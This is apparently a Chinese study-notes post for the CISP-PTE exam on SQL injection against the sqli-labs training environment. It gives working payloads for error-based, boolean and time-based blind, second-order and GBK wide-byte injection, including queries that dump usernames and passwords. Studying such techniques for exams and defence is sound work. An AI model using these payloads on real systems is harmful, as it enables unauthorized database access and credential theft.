cisp-pte学习笔记之SQL注入(二)

2023-07-08 16:12:56 浏览数 (1)

sql注入--报错注入

floor() rand() count() group by() 分配初始创建一个虚拟表 分两种 第一种 第一次取数据在虚拟表中进行索引,索引未发现同类项,进行二次取数,进行写入 第二种 第一次取数据在虚拟表中进行索引,索引发现同类型,直接写入,不进行二次取数 concat()

查数据库名

代码语言:javascript复制
?id=-1' union select 1,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.columns group by a #

查表名

代码语言:javascript复制
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where 
table_schema='security' limit 3,1),floor(rand(0)*2)) as a from information_schema.columns group by a #

查列名

代码语言:javascript复制
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2)) as a from information_schema.columns group by a #

查字段值

代码语言:javascript复制
?id=-1' union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2)) as a from information_schema.columns group by a #

extractvalue()报错

extractvalue(xml_document,xpath_string) 第一个参数是xml文档对象的名称 第二个参数是从xml文档对象中返回查询到的字符串,返回长度限制在32位字符

extractvalue(1,concat(0x7e,(select database()),0x7e)) extractvalue(1,concat('~',(select database()),'~')) xpath格式 ~:十六进制0x7e xml文档中查找字符位置时,使用/xxx/xxx/xxx/格式 只要写入不符合上述格式的内容,就会报错

updatexml()报错

updatexml(xml_target,xpath_expr,new_xml) xml_target:xml对象的名称 string类型 xpath_expr:使用xpath格式的路径 new_xml:需要更新的内容

updatexml(1,concat('!',(select database()),'~'),1)

sql注入盲注--布尔盲注和时间盲注

布尔盲注

length() substr() ascii() count()

猜测数据库长度

?id=1' and length(database())=8 --

猜测数据库的名称

?id=1' and ascii(substr((select database()),1,1))=115 --

猜测数据表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --

猜测数据表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 --

猜测数据表的名称

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 --

猜测字段数

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 --

猜测字段名的长度

?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --

猜测字段名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 --

猜测username值的数量

?id=1' and (select count(username) from users )=13 --

猜测username值的长度

?id=1' and length((select username from users limit 0,1))=4 --

猜测username的值

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --

时间盲注

if(a,b,c) 当a为真值时,执行b;当a为假值时,执行c sleep()

猜测闭合方式

?id=1' and if(1=1,sleep(3),1) --

sql-labs之Less-9

?id=1' and if(length(database())>7,sleep(3),1) --

二次注入

分为两个阶段 第一阶段进行特殊字符的写入 第二阶段调用提前写入的特殊字符,完成注入过程

任意修改用户密码

update users set password=$newpass where username='$username' and password=$oldpass

$newpass $oldpass

$username=pte0618'

update users set password=$newpass where username='pte0618'#' and password=$oldpass

宽字节注入

addslashes mysql_real_escape_string mysql_escape_string

当字符的大小为一个字节时,称之为窄字节 例如ascii编码 当字符的大小为两个字节时,称之为宽字节 例如GB2312、GBK、GB8030

mysql使用GBK编码时,默认的会认为两个字符为一个汉字,前一个字符的ascii值大于128,达到汉字范围

'-->' �'-->�'-->�'-->汉字'

sql-labs之Less-32

判断闭合方式

?id=1�' and 1=2 #

判断列数

?id=1�' order by 3#

查看回显位置

?id=-1�' union select 1,2,3#

查看库名

?id=-1�' union select 1,database(),3#

查看表名

?id=-1�' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

查看列名

?id=-1�' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 #

查看字段值

?id=-1�' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users #

0 人点赞